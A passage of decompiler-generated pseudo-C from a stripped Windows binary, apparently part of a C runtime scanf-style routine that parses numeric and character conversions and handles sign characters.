															 *(_t1132 - 0x7c) =  *( *((intOrPtr*)(_t1132 + 0x14)) - 4);
														}
														 *(_t1132 - 0x1e) = 0;
														__eflags =  *(_t1132 - 0x215);
														if( *(_t1132 - 0x215) != 0) {
															L49:
															_t991 =  *(_t1132 + 0xc);
															_t1056 =  *( *(_t1132 + 0xc)) & 0x000000ff | 0x00000020;
															 *(_t1132 - 0x44) =  *( *(_t1132 + 0xc)) & 0x000000ff | 0x00000020;
															__eflags =  *(_t1132 - 0x44) - 0x6e;
															if( *(_t1132 - 0x44) == 0x6e) {
																L54:
																__eflags =  *(_t1132 - 0x44) - 0x6e;
																if( *(_t1132 - 0x44) == 0x6e) {
																	L57:
																	__eflags =  *(_t1132 - 0x1f0);
																	if( *(_t1132 - 0x1f0) == 0) {
																		L59:
																		__eflags =  *((char*)(_t1132 - 0x12));
																		if( *((char*)(_t1132 - 0x12)) != 0) {
																			L68:
																			 *(_t1132 - 0x260) =  *(_t1132 - 0x44);
																			 *(_t1132 - 0x260) =  *(_t1132 - 0x260) - 0x63;
																			__eflags =  *(_t1132 - 0x260) - 0x18;
																			if( *(_t1132 - 0x260) > 0x18) {
																				L312:
																				__eflags = ( *( *(_t1132 + 0xc)) & 0x000000ff) -  *(_t1132 - 0x21c);
																				if(( *( *(_t1132 + 0xc)) & 0x000000ff) ==  *(_t1132 - 0x21c)) {
																					L314:
																					_t1075 =  *(_t1132 - 0x1e9) - 1;
																					__eflags = _t1075;
																					 *(_t1132 - 0x1e9) = _t1075;
																					__eflags =  *((char*)(_t1132 - 0x12));
																					if( *((char*)(_t1132 - 0x12)) == 0) {
																						 *((intOrPtr*)(_t1132 + 0x14)) =  *((intOrPtr*)(_t1132 - 0x1c));
																					}
																					while(1) {
																						L317:
																						 *(_t1132 - 0x1e9) =  *(_t1132 - 0x1e9) + 1;
																						 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
																						goto L329;
																					}
																				}
																				L313:
																				_t1056 =  *(_t1132 - 0xc) - 1;
																				 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
																				E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
																				_t1135 = _t1135 + 8;
																				 *(_t1132 - 0x24) = 1;
																				goto L334;
																			}
																			L69:
																			_t185 =  *(_t1132 - 0x260) + 0x426b70; // 0xcccccc08
																			switch( *((intOrPtr*)(( *_t185 & 0x000000ff) * 4 +  &M00426B48))) {
																				case 0:
																					L70:
																					__eflags =  *(_t1132 - 0x1f0);
																					if( *(_t1132 - 0x1f0) == 0) {
																						 *(_t1132 - 0x1f0) =  *(_t1132 - 0x1f0) + 1;
																						_t1079 =  *(_t1132 - 0x78) + 1;
																						__eflags = _t1079;
																						 *(_t1132 - 0x78) = _t1079;
																					}
																					L72:
																					__eflags =  *(_t1132 - 0x215);
																					if( *(_t1132 - 0x215) > 0) {
																						_t999 =  *(_t1132 - 0x29) + 1;
																						__eflags = _t999;
																						 *(_t1132 - 0x29) = _t999;
																					}
																					L74:
																					L102:
																					 *(_t1132 - 0x48) =  *(_t1132 - 0x7c);
																					_t959 =  *(_t1132 - 0xc) - 1;
																					 *(_t1132 - 0xc) =  *(_t1132 - 0xc) - 1;
																					E00426D30( *(_t1132 - 0x21c),  *(_t1132 + 8));
																					_t1135 = _t1134 + 8;
																					__eflags =  *(_t1132 - 0x44) - 0x63;
																					if( *(_t1132 - 0x44) != 0x63) {
																						_t959 =  *(_t1132 - 0x18) - 1;
																						__eflags = _t959;
																						 *(_t1132 - 0x18) = _t959;
																					}
																					goto L104;
																				case 1:
																					L190:
																					__eflags =  *(__ebp - 0x21c) - 0x2d;
																					if( *(__ebp - 0x21c) != 0x2d) {
																						L192:
																						__eflags =  *(__ebp - 0x21c) - 0x2b;
																						if( *(__ebp - 0x21c) != 0x2b) {
																							goto L197;
																						}
																						L193:
																						__ecx =  *(__ebp - 0x78);
																						__ecx =  *(__ebp - 0x78) - 1;
																						__eflags = __ecx;
																						 *(__ebp - 0x78) = __ecx;
																						if(__ecx != 0) {
																							L196:
																							__eax =  *(__ebp - 0xc);
																							__eax =  *(__ebp - 0xc) + 1;
																							__eflags = __eax;
																							 *(__ebp - 0xc) = __eax;
																							__ecx =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E00426CD0(__ecx, __ecx);
																							goto L197;
																						}
																						L194:
																						__eflags =  *(__ebp - 0x1f0);
																						if( *(__ebp - 0x1f0) == 0) {
																							goto L196;
																						}
																						L195:
																						 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																						 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																						goto L197;
																					}
																					L191:
																					__al =  *(__ebp - 2);
																					__al =  *(__ebp - 2) + 1;
																					 *(__ebp - 2) = __al;
																					goto L193;
																				case 2:
																					L267:
																					 *(__ebp - 0x10) = 0;
																					__eflags =  *(__ebp - 0x21c) - 0x2d;
																					if( *(__ebp - 0x21c) != 0x2d) {
																						L269:
																						__eflags =  *(__ebp - 0x21c) - 0x2b;
																						if( *(__ebp - 0x21c) != 0x2b) {
																							L271:
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) == 0) {
																								 *(__ebp - 0x78) = 0xffffffff;
																							}
																							while(1) {
																								L273:
																								__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																								__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																								__eflags = __eax;
																								if(__eax == 0) {
																									break;
																								}
																								L274:
																								__edx =  *(__ebp - 0x78);
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																								__eflags =  *(__ebp - 0x78);
																								if( *(__ebp - 0x78) == 0) {
																									break;
																								}
																								L275:
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																								__al =  *(__ebp - 0x21c);
																								 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __al;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																								__edx = __ebp - 0x28;
																								__eax = __ebp - 0x1e8;
																								__ecx = __ebp - 0x84;
																								__edx = __ebp - 0x204;
																								__eax =  *(__ebp - 0x10);
																								__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																								__eflags = __eax;
																								if(__eax != 0) {
																									L277:
																									__ecx =  *(__ebp - 0xc);
																									__ecx =  *(__ebp - 0xc) + 1;
																									 *(__ebp - 0xc) = __ecx;
																									__edx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																									continue;
																								}
																								L276:
																								goto L334;
																							}
																							L278:
																							__eax = __ebp - 0x214;
																							__eax = E00425070(__ebp - 0x214);
																							__ecx =  *__eax;
																							__dl =  *( *__eax);
																							 *((char*)(__ebp - 1)) =  *( *__eax);
																							__eax =  *((char*)(__ebp - 1));
																							__ecx =  *(__ebp - 0x21c);
																							__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																							if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																								L287:
																								__eflags =  *(__ebp - 0x1f4);
																								if( *(__ebp - 0x1f4) == 0) {
																									L306:
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																									__eax =  *(__ebp + 8);
																									__ecx =  *(__ebp - 0x21c);
																									__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																									__eflags =  *(__ebp - 0x1f4);
																									if( *(__ebp - 0x1f4) == 0) {
																										L310:
																										goto L334;
																									}
																									L307:
																									__edx =  *((char*)(__ebp - 0x12));
																									__eflags =  *((char*)(__ebp - 0x12));
																									if( *((char*)(__ebp - 0x12)) == 0) {
																										 *(__ebp - 8) =  *(__ebp - 8) + 1;
																										 *(__ebp - 8) =  *(__ebp - 8) + 1;
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																										__ecx = __ebp - 0x214;
																										_push(E0041EA40(__ebp - 0x214));
																										__edx =  *(__ebp - 0x84);
																										_push( *(__ebp - 0x84));
																										__eax =  *(__ebp - 0x7c);
																										_push( *(__ebp - 0x7c));
																										__ecx =  *(__ebp - 0x1d);
																										__ecx =  *(__ebp - 0x1d) - 1;
																										__eflags = __ecx;
																										_push(__ecx);
																										__edx =  *0x43de8c; // 0xfb3c7abe
																										E00427990(__edx) =  *__eax();
																										__esp = __esp + 0x10;
																									}
																									L317:
																									 *(_t1132 - 0x1e9) =  *(_t1132 - 0x1e9) + 1;
																									 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
																									goto L329;
																								}
																								L288:
																								__eflags =  *(__ebp - 0x21c) - 0x65;
																								if( *(__ebp - 0x21c) == 0x65) {
																									L290:
																									__ecx =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										goto L306;
																									}
																									L291:
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__edx = __ebp - 0x28;
																									__eax = __ebp - 0x1e8;
																									__ecx = __ebp - 0x84;
																									__edx = __ebp - 0x204;
																									__eax =  *(__ebp - 0x10);
																									__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										L293:
																										__ecx =  *(__ebp - 0xc);
																										__ecx =  *(__ebp - 0xc) + 1;
																										 *(__ebp - 0xc) = __ecx;
																										__edx =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																										__eflags =  *(__ebp - 0x21c) - 0x2d;
																										if( *(__ebp - 0x21c) != 0x2d) {
																											L297:
																											__eflags =  *(__ebp - 0x21c) - 0x2b;
																											if( *(__ebp - 0x21c) != 0x2b) {
																												while(1) {
																													L301:
																													__eax =  *(__ebp - 0x21c) & 0x000000ff;
																													__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																													__eflags = __eax;
																													if(__eax == 0) {
																														goto L306;
																													}
																													L302:
																													__ecx =  *(__ebp - 0x78);
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													__eflags =  *(__ebp - 0x78);
																													if( *(__ebp - 0x78) == 0) {
																														goto L306;
																													}
																													L303:
																													 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																													 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																													 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																													__dl =  *(__ebp - 0x21c);
																													 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) =  *(__ebp - 0x21c);
																													 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																													 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																													__ecx = __ebp - 0x28;
																													__edx = __ebp - 0x1e8;
																													__eax = __ebp - 0x84;
																													__ecx = __ebp - 0x204;
																													__edx =  *(__ebp - 0x10);
																													__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ecx, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																													__eflags = __eax;
																													if(__eax != 0) {
																														L305:
																														 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																														 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																														__ecx =  *(__ebp + 8);
																														 *(__ebp - 0x21c) = E00426CD0( *(__ebp + 8),  *(__ebp + 8));
																														continue;
																													}
																													L304:
																													goto L334;
																												}
																												goto L306;
																											}
																											L298:
																											__ecx =  *(__ebp - 0x78);
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																											__eflags =  *(__ebp - 0x78);
																											if( *(__ebp - 0x78) != 0) {
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												__eflags = __ecx;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																											} else {
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																												 *(__ebp - 0x78) =  *(__ebp - 0x78) + 1;
																											}
																											goto L301;
																										}
																										L294:
																										 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																										 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																										__edx = __ebp - 0x28;
																										__eax = __ebp - 0x1e8;
																										__ecx = __ebp - 0x84;
																										__edx = __ebp - 0x204;
																										__eax =  *(__ebp - 0x10);
																										__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																										__eflags = __eax;
																										if(__eax != 0) {
																											L296:
																											goto L298;
																										}
																										L295:
																										goto L334;
																									}
																									L292:
																									goto L334;
																								}
																								L289:
																								__eflags =  *(__ebp - 0x21c) - 0x45;
																								if( *(__ebp - 0x21c) != 0x45) {
																									goto L306;
																								}
																								goto L290;
																							}
																							L279:
																							__edx =  *(__ebp - 0x78);
																							 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																							 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																							__eflags =  *(__ebp - 0x78);
																							if( *(__ebp - 0x78) == 0) {
																								goto L287;
																							}
																							L280:
																							__ecx =  *(__ebp - 0xc);
																							__ecx =  *(__ebp - 0xc) + 1;
																							 *(__ebp - 0xc) = __ecx;
																							__edx =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																							 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																							__cl =  *((intOrPtr*)(__ebp - 1));
																							 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																							__eax = __ebp - 0x28;
																							__ecx = __ebp - 0x1e8;
																							__edx = __ebp - 0x84;
																							__eax = __ebp - 0x204;
																							__ecx =  *(__ebp - 0x10);
																							__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																							__eflags = __eax;
																							if(__eax != 0) {
																								while(1) {
																									L282:
																									__edx =  *(__ebp - 0x21c) & 0x000000ff;
																									__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																									__eflags = __eax;
																									if(__eax == 0) {
																										goto L287;
																									}
																									L283:
																									__eax =  *(__ebp - 0x78);
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																									__eflags =  *(__ebp - 0x78);
																									if( *(__ebp - 0x78) == 0) {
																										goto L287;
																									}
																									L284:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																									__cl =  *(__ebp - 0x21c);
																									 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __cl;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																									__eax = __ebp - 0x28;
																									__ecx = __ebp - 0x1e8;
																									__edx = __ebp - 0x84;
																									__eax = __ebp - 0x204;
																									__ecx =  *(__ebp - 0x10);
																									__eax = E00426B90(__ebx, __ecx, __edi, __esi, __ecx, __ebp - 0x204, __ebp - 0x84, __ebp - 0x1e8, __ebp - 0x28);
																									__eflags = __eax;
																									if(__eax != 0) {
																										L286:
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																										__eax =  *(__ebp + 8);
																										 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																										continue;
																									}
																									L285:
																									goto L334;
																								}
																								goto L287;
																							}
																							L281:
																							goto L334;
																						}
																						L270:
																						__ecx =  *(__ebp - 0x78);
																						__ecx =  *(__ebp - 0x78) - 1;
																						 *(__ebp - 0x78) = __ecx;
																						__edx =  *(__ebp - 0xc);
																						__edx =  *(__ebp - 0xc) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0xc) = __edx;
																						__eax =  *(__ebp + 8);
																						 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																						goto L271;
																					}
																					L268:
																					 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																					 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																					goto L270;
																				case 3:
																					L167:
																					 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																					goto L168;
																				case 4:
																					L264:
																					__eax =  *(__ebp - 0xc);
																					 *(__ebp - 0x220) =  *(__ebp - 0xc);
																					__ecx =  *((char*)(__ebp - 0x12));
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						L266:
																						while(1) {
																							L317:
																							 *(_t1132 - 0x1e9) =  *(_t1132 - 0x1e9) + 1;
																							 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
																							goto L329;
																						}
																					}
																					L265:
																					goto L256;
																				case 5:
																					L189:
																					 *(__ebp - 0x1d) = 1;
																					goto L190;
																				case 6:
																					goto L0;
																				case 7:
																					L168:
																					__eflags =  *(__ebp - 0x21c) - 0x2d;
																					if( *(__ebp - 0x21c) != 0x2d) {
																						L170:
																						__eflags =  *(__ebp - 0x21c) - 0x2b;
																						if( *(__ebp - 0x21c) != 0x2b) {
																							L175:
																							__eflags =  *(__ebp - 0x21c) - 0x30;
																							if( *(__ebp - 0x21c) != 0x30) {
																								L188:
																								L197:
																								__eflags =  *(__ebp - 0x30);
																								if( *(__ebp - 0x30) == 0) {
																									while(1) {
																										L225:
																										__eax =  *(__ebp - 0x1e);
																										__eflags =  *(__ebp - 0x1e);
																										if( *(__ebp - 0x1e) != 0) {
																											break;
																										}
																										L226:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																											L228:
																											__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__cl =  *(__ebp - 0x1e);
																												__cl =  *(__ebp - 0x1e) + 1;
																												__eflags = __cl;
																												 *(__ebp - 0x1e) = __cl;
																											} else {
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																												__eax =  *(__ebp - 0x21c) & 0x000000ff;
																												 *(__ebp - 0x21c) = E00426C90(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																											}
																											L241:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												L247:
																												__eax =  *(__ebp - 0xc);
																												__eax =  *(__ebp - 0xc) - 1;
																												__eflags = __eax;
																												 *(__ebp - 0xc) = __eax;
																												__ecx =  *(__ebp + 8);
																												__edx =  *(__ebp - 0x21c);
																												__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																												L248:
																												continue;
																											}
																											L242:
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											__edx =  *(__ebp - 0x21c);
																											__eax =  *(__ebp - 0x220);
																											__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																											 *(__ebp - 0x220) = __ecx;
																											__eflags =  *(__ebp - 0x1f0);
																											if( *(__ebp - 0x1f0) == 0) {
																												L245:
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												__eflags = __ecx;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																												L246:
																												goto L248;
																											}
																											L243:
																											__edx =  *(__ebp - 0x78);
																											__edx =  *(__ebp - 0x78) - 1;
																											__eflags = __edx;
																											 *(__ebp - 0x78) = __edx;
																											if(__edx != 0) {
																												goto L245;
																											}
																											L244:
																											__al =  *(__ebp - 0x1e);
																											__al =  *(__ebp - 0x1e) + 1;
																											 *(__ebp - 0x1e) = __al;
																											goto L246;
																										}
																										L227:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																										if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																											L232:
																											__edx =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											} else {
																												__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																												if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																													__edx =  *(__ebp - 0x220);
																													__eax =  *(__ebp - 0x220);
																													__ecx = __eax + __edx * 4;
																													__ecx = __eax + __edx * 4 << 1;
																													__eflags = __ecx;
																													 *(__ebp - 0x220) = __ecx;
																												} else {
																													__eflags =  *(__ebp - 0x21c) - 0x38;
																													if( *(__ebp - 0x21c) >= 0x38) {
																														__cl =  *(__ebp - 0x1e);
																														__cl =  *(__ebp - 0x1e) + 1;
																														__eflags = __cl;
																														 *(__ebp - 0x1e) = __cl;
																													} else {
																														 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																														 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																													}
																												}
																											}
																											goto L241;
																										}
																										goto L228;
																									}
																									L249:
																									__eax =  *(__ebp - 2);
																									__eflags =  *(__ebp - 2);
																									if( *(__ebp - 2) != 0) {
																										__ecx =  *(__ebp - 0x220);
																										__ecx =  ~( *(__ebp - 0x220));
																										 *(__ebp - 0x220) = __ecx;
																									}
																									L251:
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x46;
																									if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
																										 *(__ebp - 0x1f4) = 0;
																									}
																									__eflags =  *(__ebp - 0x1f4);
																									if( *(__ebp - 0x1f4) == 0) {
																										L262:
																										goto L334;
																									} else {
																										L254:
																										__edx =  *((char*)(__ebp - 0x12));
																										__eflags =  *((char*)(__ebp - 0x12));
																										if( *((char*)(__ebp - 0x12)) != 0) {
																											L261:
																											while(1) {
																												L317:
																												 *(_t1132 - 0x1e9) =  *(_t1132 - 0x1e9) + 1;
																												 *(_t1132 + 0xc) =  *(_t1132 + 0xc) + 1;
																												goto L329;
																											}
																										}
																										L255:
																										__eax =  *(__ebp - 8);
																										__eax =  *(__ebp - 8) + 1;
																										__eflags = __eax;
																										 *(__ebp - 8) = __eax;
																										L256:
																										__eflags =  *(__ebp - 0x30);
																										if( *(__ebp - 0x30) == 0) {
																											__ecx =  *(__ebp - 0x1d);
																											__eflags = __ecx;
																											if(__ecx == 0) {
																												__ecx =  *(__ebp - 0x7c);
																												 *__ecx =  *(__ebp - 0x220);
																											} else {
																												__edx =  *(__ebp - 0x7c);
																												__eax =  *(__ebp - 0x220);
																												 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																											}
																										} else {
																											__ecx =  *(__ebp - 0x7c);
																											__edx =  *(__ebp - 0x200);
																											 *__ecx =  *(__ebp - 0x200);
																											__eax =  *(__ebp - 0x1fc);
																											 *(__ecx + 4) =  *(__ebp - 0x1fc);
																										}
																										goto L261;
																									}
																								} else {
																									goto L198;
																								}
																								while(1) {
																									L198:
																									__edx =  *(__ebp - 0x1e);
																									__eflags =  *(__ebp - 0x1e);
																									if( *(__ebp - 0x1e) != 0) {
																										break;
																									}
																									L199:
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																									if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																										L201:
																										__eax =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E00432800(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										} else {
																											__eax =  *(__ebp - 0x200);
																											__edx =  *(__ebp - 0x1fc);
																											__cl = 4;
																											 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																											 *(__ebp - 0x1fc) = __edx;
																											__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																											 *(__ebp - 0x21c) = E00426C90( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
																										}
																										L214:
																										__eax =  *(__ebp - 0x1e);
																										__eflags =  *(__ebp - 0x1e);
																										if( *(__ebp - 0x1e) != 0) {
																											L220:
																											__eax =  *(__ebp - 0xc);
																											__eax =  *(__ebp - 0xc) - 1;
																											__eflags = __eax;
																											 *(__ebp - 0xc) = __eax;
																											__ecx =  *(__ebp + 8);
																											__edx =  *(__ebp - 0x21c);
																											__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																											L221:
																											continue;
																										}
																										L215:
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
																										asm("cdq");
																										__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																										__ecx =  *(__ebp - 0x1fc);
																										asm("adc ecx, edx");
																										 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																										 *(__ebp - 0x1fc) = __ecx;
																										__eflags =  *(__ebp - 0x1f0);
																										if( *(__ebp - 0x1f0) == 0) {
																											L218:
																											__ecx =  *(__ebp - 0xc);
																											__ecx =  *(__ebp - 0xc) + 1;
																											__eflags = __ecx;
																											 *(__ebp - 0xc) = __ecx;
																											__edx =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																											L219:
																											goto L221;
																										}
																										L216:
																										__edx =  *(__ebp - 0x78);
																										__edx =  *(__ebp - 0x78) - 1;
																										__eflags = __edx;
																										 *(__ebp - 0x78) = __edx;
																										if(__edx != 0) {
																											goto L218;
																										}
																										L217:
																										__al =  *(__ebp - 0x1e);
																										__al =  *(__ebp - 0x1e) + 1;
																										 *(__ebp - 0x1e) = __al;
																										goto L219;
																									}
																									L200:
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																									if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																										L205:
																										__eax =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										} else {
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																											if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																												__eax =  *(__ebp - 0x200);
																												__edx =  *(__ebp - 0x1fc);
																												__cl = 2;
																												__eax = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																												__eax = __eax +  *(__ebp - 0x200);
																												__eflags = __eax;
																												asm("adc edx, [ebp-0x1fc]");
																												__cl = 1;
																												 *(__ebp - 0x200) = __eax;
																												 *(__ebp - 0x1fc) = __edx;
																											} else {
																												__eflags =  *(__ebp - 0x21c) - 0x38;
																												if( *(__ebp - 0x21c) >= 0x38) {
																													__cl =  *(__ebp - 0x1e);
																													__cl =  *(__ebp - 0x1e) + 1;
																													__eflags = __cl;
																													 *(__ebp - 0x1e) = __cl;
																												} else {
																													__eax =  *(__ebp - 0x200);
